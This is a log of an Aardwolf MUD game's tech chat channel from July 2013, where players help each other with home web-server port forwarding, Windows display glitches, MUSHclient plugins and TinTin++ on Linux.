T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: that's a good thing, in that you connected to a webserver
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: But CYSM is still giving me the connection time out... Hmm, going to reboot the computer and router, see if that fixes anything, I suppose.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Bah, still no dice. Rebooted router/modem/computer, and port 80 still times out.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: What's strange is that it was working just yesterday.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: silly question, have you tried going to whatismyip.com to ensure that hasn't changed?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: First step I took to verify the IP.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Matches everything it's supposed to match to.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: when on the local network, does browser work to bring up the page?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: If you mean by entering in my IP address, does it bring up the router page correctly? If so, yes, it does. If not, what are you asking? :p
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: no, the computer that you're trying to make accessible from the Internet
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: does it work locally before you worry about going through NAT
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh, yeah.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Everything on the server-side seems functional. It's just that port 80 that's preventing it. Nothing changed from it working flawlessly yesterday to today that I know of, and I don't believe Comcast blocks port 80 on the ISP side.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Weird. I just ran netstat -a, and it's not listing port 80...
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: service need restarting?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Shouldn't, as I just rebooted everything, with server last to restart.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Bah, now it's "connection refused". *sigh* I'll have to deal with it later.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: I got it
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: i figured it out, my soundpack now plays sounds by what area or "zone" it's in
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Pei Tech: s/sounds/music
T3/r7/2013-07-13.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: How'd you get it done?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Jaenelle Tech: So... using a relatively new install of windows 7... my mouse pointer disappears on my second monitor.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Jaenelle Tech: I can click on things (through guessing), and as soon as I move it back to the main monitor, I can see it again... anyone else stumbled upon this before?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Wildkard Tech: did you check the order of your monitors sounds like its going to another display, maybe one thats off or something
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Jaenelle Tech: it was working a few minutes ago :P
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Jaenelle Tech: I was drag and dropping lots of stuff between windows on different screens, went back to get a few more items, and couldn't find my mouse :P
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Jaenelle Tech: I suspect it'll come back if I restart my computer, but curious if others have had any similiar problems. :P
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: Wildkard boggles at the concept.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Wildkard Tech: maybe reboot
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Daloran Tech: might try and enable mouse pinging, see if that finds it for you
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Jaenelle Tech: I can see it if I turn on mouse trails, but that's a bit annoying. ;)
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Daloran Tech: thats not what i suggested though, jae
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Jaenelle Tech: What does mouse pinging do?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Daloran Tech: you press a key, i think default is control, and it shows an animation wherever your mouse cursour is
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Daloran Tech: like sonar pings
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Jaenelle Tech: Ahhh, Yes. Show location of pointer when CTRL key is pressed.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Jaenelle Tech: which works. Since my mouse pointer is there, it is just invisible for some reason :P
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Daloran Tech: ah
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Jaenelle Tech: but it doesn't show the little arrow thingie, just the cirlces around it.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Daloran Tech: might try changing the mouse pointer, see if that forces it to become visible again without a reboot
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Daloran Tech: not really a fix... but eh
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Jaenelle Tech: wow, that changed it to a weird random line with 4 different pointers showing at once. :P
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Wildkard Tech: if its a laptop undock it and dock it again or use the function keys to turn extended off then on again
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Jaenelle Tech: Not a laptop :)
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Wildkard Tech: sounds like you need a reboot bad
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Wildkard Tech: of course you can alway disable then re-enable multiple montior bet that would work
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Jaenelle Tech: and it is back again after a restart. :P
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Wildkard Tech: doh!
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Jaenelle Tech: we'll see how long it feels like remaining before going on vacation again :P
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Wildkard Tech: sometimes it does seem like they get tired and go on vacation lol
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Jaenelle Tech: (I love our very scientific explainations of window problems) :P
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: Wildkard chuckles politely.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Wildkard Tech: hard not to see some of the behavior as just stubbern or tired sometimes :)
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Wildkard Tech: bad computer, BAD!
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Phyrrus Tech: greets, i got a question on aard mush client, sofar i havent been able to safe it properly cause something goes wrong with all plug-ins
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Phyrrus Tech: so when i then close the entire client the next time i open it again i have to walk through all area's again for the maps to be filled 
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Frolo Tech: perhaps your folder is read only, so nothing can be saved
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Phyrrus Tech: nope i can save the client itself as safe file, just when i re-open that file it says plugins error or something
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: Does the error that cuases the crash give any hints as to what plug-in is causing the issue?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Phyrrus Tech: all plug-ins it seems about 7-8 of the same error 
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Phyrrus Tech: but i have never worked with plug-ins before in mush client so i was thinking perhaps im overlooking something on saving plug ins
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: Hmm, I would try to disable the ones causing the error...maybe they aren't compatible with your version of Mush or are corrupt
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: did u just install new ones?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Phyrrus Tech: i got the aardwolf mushclient a month ago from the aard side so that seems unlikely right
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Phyrrus Tech: aard-site
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: Yeah I'd say you have the updated version of Mush then
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: Did you recently install new plug-ins though?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Frolo Tech: did you change anything or is it "stock" as you got it from site?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Jaenelle Tech: Hmmm. Do the errors seem to actually cause any problems besides saying that there are errors?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Phyrrus Tech: nope
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Phyrrus Tech: no changes made by me, i just wanna play in general
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Frolo Tech: if you didn't do anything, then try to reinstall the client and try it again and see if the problems stay, if not you are set easiest way :)
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: You aren't running it off a usb or like a company laptop that is locked down are u?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Phyrrus Tech: and no on causing problems it's just a minor thingie having to fill the area maps each time from the start
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Frolo Tech: perhaps you are on a temp drive and the drive you save to is erased every day or somehting like that?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Phyrrus Tech: ohno, nothing like that hehe, it's ok ive been working at helpdesks years ago so i understand the drill i just thought perhaps there was a simple solution i overlooked 
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Arkaylis Tech: Is there an imm or person of significant permission on who can or would answer a technical question
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Prince Wario Tech: ask the question and someone generally answers
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Prince Wario Tech: Silence.....
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Prince Wario Tech: dead air
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Loreli Tech: Anyone familiar with github and want to answer potentially silly/frustrating questions from a newbie? :)
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: So, with Windows firewall off, Port 80 refuses connections. With it on, Port 80 times out. *sigh*
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Ranrr Tech: Sounds like your web server is not running
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh, but it is. :(
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Or should be.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Ranrr Tech: Does your machine show as listening on port 80 when you do netstat -an 
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: It doesn't. :( But I have it forwarded properly and everything. Firewall has rules to open port 80. :\
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Ranrr Tech: Then your web sever is the problem.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: But canyouseeme.org reports a timed out connection or refused, depending on if firewall is on or off.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Ranrr Tech: Either it's not running or not running properly
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: It was running fine yesterday, and nothing changed.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Ranrr Tech: Yes, that behaviour is as expected.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: IP address is the same, absolutely no change. So, I'm confused.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Ranrr Tech: Sorry, can't help you with your web server, I know nothing about those on windows, I just know networking.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: If I telnet into the IP with port 80, it returns 400 Bad request. :\
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Ranrr Tech: But my guess is that something changed, it just didn't have the behaviour you expected.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Well, if something changed, it was without my knowledge.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Ranrr Tech: Where is this web server, your PC or somewhere else?
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: PC. Utilizing it for Subsonic for music streaming. Was working with no issues yesterday. :\
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Ranrr Tech: And it works locally, from the same PC? But not from the outside? And by works, I mean you get a reply on port 80.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: I get the 400 Bad Request.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Ranrr Tech: Then it's a web server config. Local connections are done using the loopback interface even if you use the external IP address.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Ranrr Tech: Something changed so the web server stopped listening for external request. At least that's my best guess.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Then I wonder what changed.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Ranrr Tech: In your shoes, I would double and triple check the web server config, make sure I understand it 100%, and then start doing random tinkering until it works again. Backup the original config first.
T3/r7/2013-07-13.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: hey can anyone tell me a simple way to make a new zfs pool/ filesystem on a blank partition?
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: This week, on ridiculously specific technical troll queries from VD.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: in javascript. is using if (bla=3) {return} safe to stop a function? i heard it may cause problems.. but what kinds?
T3/r7/2013-07-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: never put a single equal sign inside a conditional
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Bamboo Tech: There are times when you could, actually
T3/r7/2013-07-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there are never times when you should
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Mye Tech: it destroys readability
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Bamboo Tech: There are times when I would
T3/r7/2013-07-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: then you're foolish
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Bamboo Tech: Probably
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Ibyc Tech: I can answer some questions about the client for you Cosrin.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Cosrin Tech: are there any buttons in tt++
T3/r7/2013-07-14.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: No, there aren't - it is built for a text game.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Nuanse Tech: every button you have in keyboard
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Ibyc Tech: No, you won't be pointing and clicking using Tintin++
T3/r7/2013-07-14.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Personally, I prefer MUD clients this way, because you would have to leave the keyboard to click on buttons...
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Cosrin Tech: true... I haven't touched a mud in over 14 years... I am not used to this. Is there a good tutorial on using tt++ out there?
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Nuanse Tech: tintin++ is textbased, not point and click
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Nuanse Tech: http://tintin.sourceforge.net/
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Arkaylis Tech: My personal preference is to download the Aardwolf muchclient.  Very nice
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Arkaylis Tech: and free
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Nuanse Tech: fine, if you are in correct system
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Cosrin Tech: thanks, but does it work in linux?
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Nuanse Tech: otherwise, useless
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Arkaylis Tech: True.  I assumed Windows
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Nuanse Tech: in linux through wine, aardmush is your best friend
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Lictor Tech: I have been using mudlet on ubuntu, what are you all using for linux?
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Cosrin Tech: tt++
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Ibyc Tech: aside from the forum and website, tintin also comes with built in help files just use '#help' to see the subjects listed
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Nuanse Tech: I used aardmush, it's, due huge amount of work fiendish did, best there is
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Ibyc Tech: I quit using ubuntu when they decided to start sharing user information with face book.  I use linuxmint now.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Mayelain Tech: Cosrin, take a look at http://code.google.com/p/aardwolf-tintin/
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Lictor Tech: thanks Ill check Linuxmint and tintin
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Cosrin Tech: I switched to debian. Silly ubuntu
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Nuanse Tech: I changed to win7->8 and what comes to mudding, aardmush is way faster
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Ibyc Tech: I tried debian, it's good to.  Linuxmint has a debian version and an ubuntu version.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Nuanse Tech: from ubuntu
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Nuanse Tech: although I do not say that you EVER EVER should do it :P
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Cosrin Tech: I switchedafk
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Cosrin Tech: sorry I'm not used to this
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Ibyc Tech: If any experienced linux/tintin users playing now haven't tried tmux for dividing terminals, its a very smooth addition.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: If you use Ixle and My package, it utilizes tmux for 'windows' and multisession support.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Ibyc Tech: Cool cheezburger If you give me a link to yoru package I might check it out later.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: it was posted above
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Ibyc Tech: You can find my package for tintin at this website 'www.linuxandzion.com'
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: it's the aardwolf-tintin on google code
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Ibyc Tech: although I haven't uploaded an aardwolf tt++ package as of yet.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Cosrin Tech: with tt++ on liux it tends to split what I'm typing. It is kind of frustrating and hard to read.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Cosrin Tech: I mean *linux
T3/r7/2013-07-14.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Just go with #split :)
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Cosrin Tech: awesome! you are my hero
T3/r7/2013-07-14.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Nope, I am a helper :P
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Tech: [Deputy] Trurien runs away in utter terror!
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: You really might want to check out code.google.com/aardwolf-tintin it has #splits and configs pre-setup for use. It comes with a mapper and a graphical minimap window you can tail -f, as well as in-client prompts and goodies
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: code.google.com/p/aardwolf-tintin rather
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Tech: Wildkard gallantly tips his hat.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Cosrin Tech: Sorry CheezBuger, I can't seem to make your tintin work correctly. I'm sure it is an error on my part.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Cosrin Tech: CheezBurger*
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: What's the issue?
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Cosrin Tech: I can't say I know for sure. Perhaps my previous make install of tintin is just overriding it. Or I could be installing it incorrectly.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Alucard Tech: Cant se some triggers going off now, anyway in mushclient i can change so i can se them?
T3/r7/2013-07-14.txt.gz:{chan ch=tech}The Zohan Dvir Tech: is it any way possible for aardwolf flash client to have mccp built in? i feel like i am missing out on too many quest points by not getting the bonus every quest.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Book of Etzli Tech: You could just get a client saved on a USB drive...
T3/r7/2013-07-14.txt.gz:{chan ch=tech}The Zohan Dvir Tech: that is not really an option for me...
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Why not, if I may ask?
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Ibyc Tech: I save my scripts on USB
T3/r7/2013-07-14.txt.gz:{chan ch=tech}The Zohan Dvir Tech: the computer i am using at work has usb disabled somehow because they are afraid that it gets infected with some viruses. needless to say, i can't install a client here either
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Book of Etzli Tech: So, do they use the old style PS/2 mouse and keyboard, or is that USB? If that's USB, I'd bring a USB hub and work it off that. ;)
T3/r7/2013-07-14.txt.gz:{chan ch=tech}The Zohan Dvir Tech: no problem, though. i still get at least 8 qp every quest even if i don't have mccp!
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Book of Etzli Tech: I don't think there will be a way to add compression to flash clients.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}The Zohan Dvir Tech: the connection i have for my personal computer is blocked from the game so i can't log in from there :p
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Prolithe Tech: anyone know how to move a plugin window in mush when you can't click the top of the box
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: resetaard
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Turie Tech: resetaard
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Prolithe Tech: you mean reload all of aard?
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Prolithe Tech: anyone?
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Ayasinda Tech: type resetaard
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Ayasinda Tech: but it will reset all your miniwins in mush to their original place and size
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Wildkard Tech: is there a way to turn off sounds to the mush client
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Hanslanda Tech: should be a sounds preferences somewhere, yes
T3/r7/2013-07-14.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: click enable trigger sounds in the trigger menu to disable those not sure about others
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Wildkard Tech: thanks
T3/r7/2013-07-14.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: oh yeah also alt+5 to open the output configs to disable beeps
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Tech: Hollister beeps for the sake of it
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Prolithe Tech: resetaard only reset the default mini windows that come with mushclient aard
T3/r7/2013-07-14.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: what are you trying to do?
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Ontuct Tech: S&D window?
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Turie Tech: Winklewinkle's bot script.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Ontuct Tech: I think it is some GUIRESET or the like, I had to do it once, now don't remember
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Tynrael Tech: xset reset gui
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Ontuct Tech: and there you have it
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Prolithe Tech: the S&D top have of it is off my screen and i can't move it back down or access it's menu because the title bar is offf the screen. just want to move it back down
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Prolithe Tech: thanks tynrael that worked like a charm
T3/r7/2013-07-14.txt.gz:{chan ch=tech}The Zohan Dvir Tech: why would you put it so far up there that you can't get it back?
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Ontuct Tech: you just click it and it flies up there
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Tynrael Tech: the client lags out and it jumps to a space that doesn't exist, then you can't get it back  =)
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Veladros Tech: type xset reset gui
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Veladros Tech: should fix it
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Prolithe Tech: wasn't my intend. when i click to drag it jump up there
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Prolithe Tech: thanks guys for the help
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Cosrin Tech: is there a way to adjust the prompt so that health changes color when it drops below a certain percentage?
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Daloran Tech: not mudside, that i'm aware of. think youd need to do that with the client
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Cosrin Tech: thanks, I'll see if I can figure it out :)
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Daloran Tech: if you're using mushclient, the default hp bars have an option for that built in though
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Jaenelle Tech: Anyone tried the 'quiet' das keyboards?
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Lictor Tech: can someone please remind me how I set how many lines to diplay per page within aardwolf mud?
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Quadrapus Tech: scroll
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: pagesize
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Daloran Tech: Any reccomendations on a USB / DVI Kvm?
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Lictor Tech: I installed and had to uninstall the aard script addon because my monitor space is too small on this 10.1 netbook. I followed the directions and turned tick back off, map etc. But when I type "inv" it doesnt show inventory, any idea how to fix this?
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Lictor Tech: it shows when I inv "r 'invis ring' 
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: anyone own a tesla Model S?  Worth it?
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Hanslanda Tech: they invested too heavily in li-ion.  Not sure it's worth having a new car that's already run into a wall of problems with the energy source.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i don't think there have been any problems reported w/ TSLA's small-cell Li-ions
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Hanslanda Tech: the car is fine, by itself.  All I'm saying is that they put all their eggs in one basket, and they might not be able to recover once the battery tech moves on to li-air and beyond.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: the tech is years away though, right?  so buy the time that makes it in a car could be a decade?
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Hanslanda Tech: the whole exploding battery thing that kicked Toyota in the balls scared a lot of people off.
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: do you mean GM and the volt?  not aware of a Toyotoa issue
T3/r7/2013-07-14.txt.gz:{chan ch=tech}Hanslanda Tech: tell zade it wasn't actually that bad so far.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im using fpdf and im trying to make a function with a couple of lines i would use over and over (http://pastebin.com/upZ02tPM) but when i reload my page with the function (and the call for it) it errors out, any ideas?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: how to get the winkle spellup scrypt to not cast a spell?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Loshai Tech: not sure if this right channel
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Ontuct Tech: for what?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Loshai Tech: on aard app is there a way to set attacks. say i want to strangle a mob then kill it
T3/r7/2013-07-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: help alias
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Loshai Tech: can i type k mobname and it do multiple commands like a reg trig
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Loshai Tech: does * and %1 work on aard app
T3/r7/2013-07-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: oh, it seems you cant..
T3/r7/2013-07-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: what app are you talking about?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Loshai Tech: looks like the aard app is blowtorch
T3/r7/2013-07-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i dont know that
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: is the aardclient mushclient.exe modified in any way?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tripphippie Tech: just plugins
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: so why when jaws is running does it use 50% cpu, even without plugins loaded or a world open, but regular mushclient works fine
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Six-String Strazor Tech: If you are having an issue feel free to load the plugins manually if you want them.  I have not experienced that issue as of yet.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Elchanan Tech: l
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tripphippie Tech: the plugins load on startup as far as i know and yes my aardmush startup is much longer than vanilla mush
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: anyone know how i'd make a "database" of sorts like, put a bunch of small strings in a variable and then do an if statement that would match any of those strings inside the variable?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Easy enough to do with an array, database might not be needed.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: An array is the simplest form of a database :D
